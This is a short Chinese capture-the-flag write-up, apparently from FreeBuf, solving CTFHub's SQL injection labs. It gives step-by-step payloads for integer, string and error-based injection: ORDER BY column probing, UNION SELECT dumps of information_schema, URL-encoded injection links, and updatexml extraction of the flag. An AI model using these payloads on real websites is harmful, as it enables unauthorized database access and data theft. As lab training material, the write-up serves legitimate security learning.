ctfhub_web_SQL注入_全通关详解(持续更新中) - FreeBuf网络安全行业门户
整数注入
- 输入1，回显用户
- 输入1 order 2 正常
- 输入1 order 3 错误，说明字段数为2
- 输入-1 union select 1,2
- 或者构造链接/?id=-1%20union%20select%201,2%20--+
- 输入-1 union select database(),database()
- 获得库名
- 输入-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema = "sqli"
- 获得两个表名
- 输入-1 union select database(),group_concat(column_name) from information_schema.columns where table_name = "flag"--
- 列名
- 输入-1 union select database(),group_concat(flag) from sqli.flag--
字符注入
- 输入1 and 1=2不报错，输入1‘报错，判断为字符型注入
- 其余部分和数字注入一样
- 构造链接
- ?id=-1%27+union+select+database%28%29%2Cgroup_concat%28flag%29+from+sqli.flag--+
- 输入-1' union select database(),group_concat(flag) from sqli.flag--
报错注入
- 输入1 and updatexml(1,(concat(1,database())),2)
- 输入
- 1 and updatexml(1,(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli'))),2)
- 其他部分一样
- 最后输入1 and updatexml(1,(concat(1,(select group_concat(flag) from flag))),2)，获得flag